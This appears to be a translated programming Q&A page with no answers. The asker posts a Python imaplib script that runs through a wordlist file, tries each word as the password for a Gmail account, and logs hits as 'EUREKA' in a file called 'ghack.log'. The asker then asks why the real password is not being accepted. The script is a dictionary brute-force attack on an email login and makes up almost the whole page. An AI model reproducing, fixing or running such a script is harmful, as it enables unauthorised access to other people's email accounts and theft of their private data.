Python imaplib - 不接受正确的密码

时间:2015-03-10 13:32:21

标签: python gmail imaplib

我在文本文件中有一个单词列表。我试图对该文件中的单词运行imap.login函数。该列表中的一个词是电子邮件ID的密码。该脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK”

这是脚本:

import imaplib

conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)   
email_id='someone__blahh@gmail.com'

passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
        i = i.rstrip()
        passwrd = i
        if len(passwrd) > 5:
                fle = open("/Users/rdj/scripts/ghack.log", "a")
                try:
                        if conn.login(email_id, passwrd):
                                fle.write("%s ==> EUREKA\n" %(passwrd))
                                break
                except:
                        fle.write("%s --> NO LUCK\n" %(passwrd))

0 个答案:

没有答案